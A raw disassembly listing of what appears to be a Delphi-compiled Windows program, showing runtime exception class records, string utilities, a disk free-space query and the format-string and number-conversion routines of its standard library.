401A58h, 401A74h dword_403BC0 dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_403B74o ; CODE:00403B94o ... dd 403C20h, 7 dup(0) dd offset aEprivilegerx@ ; "\nEPrivilegex<@" dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEprivilegerx@ db 0Ah ; DATA XREF: CODE:00403BF4o ; DATA:004091FCo db 'EPrivilegex<@',0 dd 7 dup(0) dd offset dword_403C78 dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403C78 dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch, 403CD4h ; DATA XREF: CODE:00403C4Co ; DATA:0040920Co dd 7 dup(0) dd offset aEcontrolcl@ ; "\tEControlC,=@" dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEcontrolcl@ db 9,'EControlC,=@',0 ; DATA XREF: CODE:00403CA8o ; DATA:00409204o dd 7 dup(0) dd offset dword_403D2C dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403D2C dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:00403D00o ; DATA:00409214o ... off_403D3C dd offset dword_403D88 ; DATA XREF: sub_405638+72r dd 7 dup(0) dd offset dword_403D88 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403D88 dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_403D3Co ; CODE:00403D5Co ... dd 403DE8h, 7 dup(0) dd offset dword_403DE8 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403DE8 dd 6241450Eh, 61727473h, 72457463h, 90726F72h, 403E44h ; DATA XREF: CODE:00403DBCo dd 7 dup(0) dd offset dword_403E44 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403E44 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h, 403EA0h ; DATA XREF: CODE:00403E18o ; DATA:00409254o dd 7 dup(0) dd offset dword_403EA0 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403EA0 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:00403E74o ; DATA:0040925Co off_403EB4 dd offset dword_403EB8 ; DATA XREF: CODE:004066EBr dword_403EB8 dd 332E0311h, 434h, 40100000h, 4800h, 40100000h, 79530800h ; DATA XREF: CODE:off_403EB4o dd 69745573h, 0C08B736Ch off_403ED8 dd offset dword_403EDC ; DATA XREF: CODE:004066DBr dword_403EDC dd 342E0311h, 434h, 40100000h, 4800h, 40100000h, 79530800h ; DATA XREF: CODE:off_403ED8o dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1, 24h ; =============== S U B R O U T I N E ======================================= sub_403F08 proc near ; CODE XREF: sub_404118+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_403B18 call sub_4054A4 call sub_401FF4 pop edi pop esi pop ebx retn sub_403F08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403F2C proc near ; CODE XREF: sub_404E10+3Ep ; sub_404E88+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_401654 cmp [esp+8+var_8], 0 jz short loc_403F3F mov eax, ebx loc_403F3F: ; CODE XREF: sub_403F2C+Fj pop edx pop ebx retn sub_403F2C endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1, 30h, 0FFFFFFFFh, 2, 312Dh ; =============== S U B R O U T I N E ======================================= sub_403F5C proc near ; CODE XREF: sub_403FAC+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_40255C mov edi, eax mov eax, ebx call sub_4026E0 mov ebp, eax test edi, edi jle short loc_403FA2 loc_403F7A: ; CODE XREF: sub_403F5C+44j mov bl, [esi+edi-1] test bl, bl jz short loc_403F9D mov edx, ebx mov eax, ebp call sub_4040F8 test eax, eax jz short loc_403F9D mov edx, edi mov eax, esi call sub_405C28 cmp al, 2 jnz short loc_403FA2 dec edi loc_403F9D: ; CODE XREF: sub_403F5C+24j ; sub_403F5C+31j dec edi test edi, edi jg short loc_403F7A loc_403FA2: ; CODE XREF: sub_403F5C+1Cj ; sub_403F5C+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_403F5C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403FAC proc near ; CODE XREF: sub_4057C0+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_403FE0 call sub_403F5C mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_402734 pop edi pop esi pop ebx retn sub_403FAC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_403FE0 dd 3A5Ch ; DATA XREF: sub_403FAC+9o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE4 proc near ; DATA XREF: sub_406320+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_403FF4 xor eax, eax loc_403FF4: ; CODE XREF: sub_403FE4+Cj lea edx, [ebp+var_10] push edx lea edx, [ebp+var_C] push edx lea edx, [ebp+var_8] push edx lea edx, [ebp+var_4] push edx push eax call sub_4031AC ; GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+var_4] imul [ebp+var_8] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+var_C] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402974 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+var_10] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402974 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_403FE4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404058 proc near ; CODE XREF: sub_4045A4+16p ; CODE:00405229p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_404058 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404070 proc near ; CODE XREF: sub_404118+2Bp push esi mov esi, eax xchg eax, edx call sub_4012DC mov eax, esi pop esi retn sub_404070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404080 proc near ; CODE XREF: CODE:004051FDp push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_404094 repne scasb jnz short loc_404094 inc ecx loc_404094: ; CODE XREF: sub_404080+Dj ; sub_404080+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_404080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4040B4 proc near ; CODE XREF: sub_404F38+109p ; sub_404F38+12Fp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_4040F2 repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_4040CD: ; CODE XREF: sub_4040B4+3Cj repe cmpsb jz short loc_4040F2 mov al, [esi-1] cmp al, 61h jb short loc_4040DE cmp al, 7Ah ja short loc_4040DE sub al, 20h loc_4040DE: ; CODE XREF: sub_4040B4+22j ; sub_4040B4+26j mov dl, [edi-1] cmp dl, 61h jb short loc_4040EE cmp dl, 7Ah ja short loc_4040EE sub dl, 20h loc_4040EE: ; CODE XREF: sub_4040B4+30j ; sub_4040B4+35j sub eax, edx jz short loc_4040CD loc_4040F2: ; CODE XREF: sub_4040B4+Dj ; sub_4040B4+1Bj pop ebx pop esi pop edi retn sub_4040B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4040F8 proc near ; CODE XREF: sub_403F5C+2Ap ; sub_405CE8+Bp ... push edi push eax mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx pop edi mov al, dl repne scasb mov eax, 0 jnz short loc_404116 mov eax, edi dec eax loc_404116: ; CODE XREF: sub_4040F8+19j pop edi retn sub_4040F8 endp ; =============== S U B R O U T I N E ======================================= sub_404118 proc near ; CODE XREF: sub_4042BA+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_40412E mov ebx, 1Fh loc_40412E: ; CODE XREF: sub_404118+Fj mov edx, ebx dec edx mov eax, esi call sub_405C4C cmp al, 1 jnz short loc_40413D dec ebx loc_40413D: ; CODE XREF: sub_404118+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_404070 mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_4090CC[edi*4] xor ecx, ecx call sub_403F08 add esp, 28h pop edi pop esi pop ebx retn sub_404118 endp ; =============== S U B R O U T I N E ======================================= sub_404170 proc near ; CODE XREF: sub_4042BA+1B2p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx mov edx, esi call sub_40295C pop esi pop ebx retn sub_404170 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404184 proc near ; CODE XREF: sub_404190+D3p push ebx mov ebx, eax mov eax, ebx call sub_4022E4 pop ebx retn sub_404184 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404190 proc near ; CODE XREF: sub_4045A4+2Ap ; sub_4045F8+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00404594 SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF8Ch push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_4041B9: ; CODE XREF: sub_404190+DDj or edx, edx jz short loc_4041CA loc_4041BD: ; CODE XREF: sub_404190+38j cmp esi, ecx jz short loc_4041CA lodsb cmp al, 25h jz short loc_4041D4 loc_4041C6: ; CODE XREF: sub_404190+4Bj stosb dec edx jnz short loc_4041BD loc_4041CA: ; CODE XREF: sub_404190+2Bj ; sub_404190+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_404594 ; --------------------------------------------------------------------------- loc_4041D4: ; CODE XREF: sub_404190+34j cmp esi, ecx jz short loc_4041CA lodsb cmp al, 25h jz short loc_4041C6 lea ebx, [esi-2] mov [ebp+var_18], ebx loc_4041E3: ; CODE XREF: sub_404190+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_4041EF cmp esi, ecx jz short loc_4041CA lodsb loc_4041EF: ; CODE XREF: sub_404190+58j call sub_404272 cmp al, 3Ah jnz short loc_404202 mov [ebp+var_C], ebx cmp esi, ecx jz short loc_4041CA lodsb jmp short loc_4041E3 ; --------------------------------------------------------------------------- loc_404202: ; CODE XREF: sub_404190+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_404218 cmp esi, ecx jz short loc_4041CA lodsb call sub_404272 loc_404218: ; CODE XREF: sub_404190+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_4042BA pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_40422F xor ebx, ebx loc_40422F: ; CODE XREF: sub_404190+9Bj cmp [ebp+var_19], 2Dh jnz short loc_40423F sub edx, ecx jnb short loc_40423D add ecx, edx xor edx, edx loc_40423D: ; CODE XREF: sub_404190+A7j rep movsb loc_40423F: ; CODE XREF: sub_404190+A3j xchg ebx, ecx sub edx, ecx jnb short loc_404249 add ecx, edx xor edx, edx loc_404249: ; CODE XREF: sub_404190+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_404257 add ecx, edx xor edx, edx loc_404257: ; CODE XREF: sub_404190+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_404269 push edx lea eax, [ebp+var_10] call sub_404184 pop edx loc_404269: ; CODE XREF: sub_404190+CDj pop ecx mov esi, [ebp+var_28] jmp loc_4041B9 sub_404190 endp ; =============== S U B R O U T I N E ======================================= sub_404272 proc near ; CODE XREF: sub_404190:loc_4041EFp ; sub_404190+83p xor ebx, ebx cmp al, 2Ah jz short loc_40429A loc_404278: ; CODE XREF: sub_404272+20j cmp al, 30h jb short locret_4042B9 cmp al, 39h ja short locret_4042B9 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_404294 lodsb jmp short loc_404278 ; --------------------------------------------------------------------------- loc_404294: ; CODE XREF: sub_404272+1Dj ; sub_404272+44j pop eax jmp loc_4041CA ; --------------------------------------------------------------------------- loc_40429A: ; CODE XREF: sub_404272+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] ja short loc_4042B4 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_4042B4 xor ebx, ebx loc_4042B4: ; CODE XREF: sub_404272+2Ej ; sub_404272+3Ej cmp esi, ecx jz short loc_404294 lodsb locret_4042B9: ; CODE XREF: sub_404272+8j ; sub_404272+Cj retn sub_404272 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4042BA proc near ; CODE XREF: sub_404190+90p ; FUNCTION CHUNK AT 004043E2 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00404449 SIZE 0000013B BYTES and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] ja short loc_404327 inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_4042E1[edx*4] ; --------------------------------------------------------------------------- off_4042E1 dd offset loc_4043E2 ; DATA XREF: sub_4042BA+20r dd offset loc_404325 dd offset loc_404449 dd offset loc_40450F dd offset loc_404479 dd offset loc_4044F1 dd offset loc_4044D1 dd offset loc_404325 dd offset loc_404325 dd offset loc_404325 dd offset loc_40448A dd offset loc_4044B5 dd offset loc_40450B dd offset loc_404458 dd offset loc_404325 dd offset loc_404491 dd offset loc_40433C ; --------------------------------------------------------------------------- loc_404325: ; CODE XREF: sub_4042BA+20j ; sub_4042BA+9Cj ... xor eax, eax loc_404327: ; CODE XREF: sub_4042BA+Fj call sub_404584 mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_404118 loc_40433C: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+67o lea ebx, [ebp-30h] mov edx, [eax] mov [ebx], edx mov edx, [eax+4] mov [ebx+4], edx cmp cl, 44h jz short loc_40435F cmp cl, 55h jz short sub_40437D cmp cl, 58h jnz short loc_404325 mov ecx, 10h jmp short loc_404382 ; --------------------------------------------------------------------------- loc_40435F: ; CODE XREF: sub_4042BA+92j test dword ptr [ebx+4], 80000000h jz short sub_40437D neg dword ptr [ebx] adc dword ptr [ebx+4], 0 neg dword ptr [ebx+4] call sub_40437D mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_4042BA endp ; =============== S U B R O U T I N E ======================================= sub_40437D proc near ; CODE XREF: sub_4042BA+97j ; sub_4042BA+ACj ... mov ecx, 0Ah loc_404382: ; CODE XREF: sub_4042BA+A3j lea esi, [ebp-51h] loc_404385: ; CODE XREF: sub_40437D+46j push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_4029E4 pop ecx pop ebx xchg eax, edx add dl, 30h cmp dl, 3Ah jb short loc_4043A5 add dl, 7 loc_4043A5: ; CODE XREF: sub_40437D+23j dec esi mov [esi], dl push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402998 pop ecx pop ebx mov [ebx], eax mov [ebx+4], edx or eax, edx jnz short loc_404385 lea ecx, [ebp-51h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_4043D3 retn ; --------------------------------------------------------------------------- loc_4043D3: ; CODE XREF: sub_40437D+53j sub edx, ecx jbe short locret_4043E1 add ecx, edx mov al, 30h loc_4043DB: ; CODE XREF: sub_40437D+62j dec esi mov [esi], al dec edx jnz short loc_4043DB locret_4043E1: ; CODE XREF: sub_40437D+58j retn sub_40437D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4042BA loc_4043E2: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA:off_4042E1o cmp cl, 44h jz short loc_4043FC cmp cl, 55h jz short sub_40440E cmp cl, 58h jnz loc_404325 mov ecx, 10h jmp short loc_404413 ; --------------------------------------------------------------------------- loc_4043FC: ; CODE XREF: sub_4042BA+12Bj or eax, eax jns short sub_40440E neg eax call sub_40440E mov al, 2Dh inc ecx dec esi mov [esi], al retn ; END OF FUNCTION CHUNK FOR sub_4042BA ; =============== S U B R O U T I N E ======================================= sub_40440E proc near ; CODE XREF: sub_4042BA+130j ; sub_4042BA+144j ... mov ecx, 0Ah loc_404413: ; CODE XREF: sub_4042BA+140j ; sub_4042BA+24Cj lea esi, [ebp-61h] loc_404416: ; CODE XREF: sub_40440E+1Cj xor edx, edx div ecx add dl, 30h cmp dl, 3Ah jb short loc_404425 add dl, 7 loc_404425: ; CODE XREF: sub_40440E+12j dec esi mov [esi], dl or eax, eax jnz short loc_404416 lea ecx, [ebp-61h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_40443A retn ; --------------------------------------------------------------------------- loc_40443A: ; CODE XREF: sub_40440E+29j sub edx, ecx jbe short locret_404448 add ecx, edx mov al, 30h loc_404442: ; CODE XREF: sub_40440E+38j dec esi mov [esi], al dec edx jnz short loc_404442 locret_404448: ; CODE XREF: sub_40440E+2Ej retn sub_40440E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4042BA loc_404449: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+2Fo cmp cl, 53h jnz loc_404325 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_404458: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+5Bo cmp cl, 53h jnz loc_404325 cmp word ptr [eax], 1 jbe short loc_404476 mov edx, eax lea eax, [ebp-10h] call sub_404170 mov esi, [ebp-10h] jmp short loc_4044C0 ; --------------------------------------------------------------------------- loc_404476: ; CODE XREF: sub_4042BA+1ABj ; sub_4042BA+208j xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_404479: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+37o cmp cl, 53h jnz loc_404325 mov esi, eax lodsb movzx ecx, al jmp short loc_4044C7 ; --------------------------------------------------------------------------- loc_40448A: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+4Fo mov esi, offset loc_4024E8 jmp short loc_404496 ; --------------------------------------------------------------------------- loc_404491: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+63o mov esi, offset loc_402548 loc_404496: ; CODE XREF: sub_4042BA+1D5j add esi, [ebp-4] cmp cl, 53h jnz loc_404325 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_4044C0 ; --------------------------------------------------------------------------- loc_4044B5: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+53o cmp cl, 53h jnz loc_404325 mov esi, eax loc_4044C0: ; CODE XREF: sub_4042BA+1BAj ; sub_4042BA+1F9j or esi, esi jz short loc_404476 mov ecx, [esi-4] loc_4044C7: ; CODE XREF: sub_4042BA+1CEj cmp ecx, [ebp-24h] ja short loc_4044CD retn ; --------------------------------------------------------------------------- loc_4044CD: ; CODE XREF: sub_4042BA+210j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_4044D1: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+3Fo cmp cl, 53h jnz loc_404325 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_4044EB repne scasb jnz short loc_4044EB dec edi loc_4044EB: ; CODE XREF: sub_4042BA+22Aj ; sub_4042BA+22Ej mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_4044F1: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+3Bo cmp cl, 50h jnz loc_404325 mov dword ptr [ebp-24h], 8 mov ecx, 10h jmp loc_404413 ; --------------------------------------------------------------------------- loc_40450B: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+57o mov bh, 1 jmp short loc_404511 ; --------------------------------------------------------------------------- loc_40450F: ; CODE XREF: sub_4042BA+20j ; DATA XREF: sub_4042BA+33o mov bh, 0 loc_404511: ; CODE XREF: sub_4042BA+253j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_404559 mov bl, 1 cmp cl, 45h jz short loc_404559 mov bl, 2 cmp cl, 46h jz short loc_40453A mov bl, 3 cmp cl, 4Eh jz short loc_40453A cmp cl, 4Dh jnz loc_404325 mov bl, 4 loc_40453A: ; CODE XREF: sub_4042BA+26Cj ; sub_4042BA+273j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_40456B mov edx, 2 cmp cl, 4Dh jnz short loc_40456B movzx edx, ds:byte_40A4E8 jmp short loc_40456B ; --------------------------------------------------------------------------- loc_404559: ; CODE XREF: sub_4042BA+25Ej ; sub_4042BA+265j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_40456B mov eax, 0Fh loc_40456B: ; CODE XREF: sub_4042BA+28Aj ; sub_4042BA+294j ... push ebx push eax push edx lea eax, [ebp-71h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_4046FC mov ecx, eax lea esi, [ebp-71h] retn ; END OF FUNCTION CHUNK FOR sub_4042BA ; =============== S U B R O U T I N E ======================================= sub_404584 proc near ; CODE XREF: sub_4042BA:loc_404327p ; sub_404190:loc_404594p push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_4022E4 pop eax pop ebx retn sub_404584 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404190 loc_404594: ; CODE XREF: sub_404190+3Fj call sub_404584 pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_404190 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045A4 proc near ; CODE XREF: CODE:004052D5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_4045DB test esi, esi jz short loc_4045DB mov eax, esi call sub_404058 push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_404190 mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045DB: ; CODE XREF: sub_4045A4+Ej ; sub_4045A4+12j xor eax, eax loc_4045DD: ; CODE XREF: sub_4045A4+35j pop edi pop esi pop ebx pop ebp retn 8 sub_4045A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045E4 proc near ; CODE XREF: sub_4053E8+34p ; sub_4054A4+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_4045F8 pop ebp retn 4 sub_4045E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045F8 proc near ; CODE XREF: sub_4045E4+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_40255C cmp eax, 0C00h jge short loc_404649 mov eax, [ebp+var_4] call sub_40255C push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_404190 jmp short loc_404655 ; --------------------------------------------------------------------------- loc_404649: ; CODE XREF: sub_4045F8+29j mov eax, [ebp+var_4] call sub_40255C mov ebx, eax mov eax, ebx loc_404655: ; CODE XREF: sub_4045F8+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_40469F jmp short loc_40468E ; --------------------------------------------------------------------------- loc_40465E: ; CODE XREF: sub_4045F8+9Bj add ebx, ebx mov eax, esi call sub_4022E4 mov eax, esi mov edx, ebx call sub_402774 mov eax, [ebp+var_4] call sub_40255C push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_404190 loc_40468E: ; CODE XREF: sub_4045F8+64j mov edx, ebx dec edx cmp eax, edx jge short loc_40465E mov edx, esi xchg eax, edx call sub_402774 jmp short loc_4046AD ; --------------------------------------------------------------------------- loc_40469F: ; CODE XREF: sub_4045F8+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_4023D0 loc_4046AD: ; CODE XREF: sub_4045F8+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4045F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4046B8 proc near ; CODE XREF: CODE:00404894p push esi xor esi, esi stosb or bl, bl jnz short loc_4046C4 xor edx, edx jmp short loc_4046CE ; --------------------------------------------------------------------------- loc_4046C4: ; CODE XREF: sub_4046B8+6j or edx, edx jge short loc_4046CE mov al, 2Dh neg edx jmp short loc_4046D4 ; --------------------------------------------------------------------------- loc_4046CE: ; CODE XREF: sub_4046B8+Aj ; sub_4046B8+Ej or ah, ah jz short loc_4046D5 mov al, ah loc_4046D4: ; CODE XREF: sub_4046B8+14j stosb loc_4046D5: ; CODE XREF: sub_4046B8+18j xchg eax, edx push eax mov ebx, esp loc_4046D9: ; CODE XREF: sub_4046B8+32j ; sub_4046B8+36j xor edx, edx div ds:dword_4090E0[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_4046D9 or ecx, ecx jg short loc_4046D9 loc_4046F0: ; CODE XREF: sub_4046B8+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_4046F0 pop eax pop esi retn sub_4046B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046FC proc near ; CODE XREF: sub_4042BA+2BFp var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 004049CB SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_40A4E7 mov [ebp+var_5], al mov al, ds:byte_40A4E6 mov [ebp+var_6], al mov eax, ds:dword_40A4E0 mov [ebp+var_C], eax mov al, ds:byte_40A4E4 mov [ebp+var_D], al mov al, ds:byte_40A4E5 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_404758 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_40474E mov eax, 2 loc_40474E: ; CODE XREF: sub_4046FC+4Bj cmp eax, 12h jle short loc_404758 mov eax, 12h loc_404758: ; CODE XREF: sub_4046FC+43j ; sub_4046FC+55j mov [ebp+arg_4], eax push eax 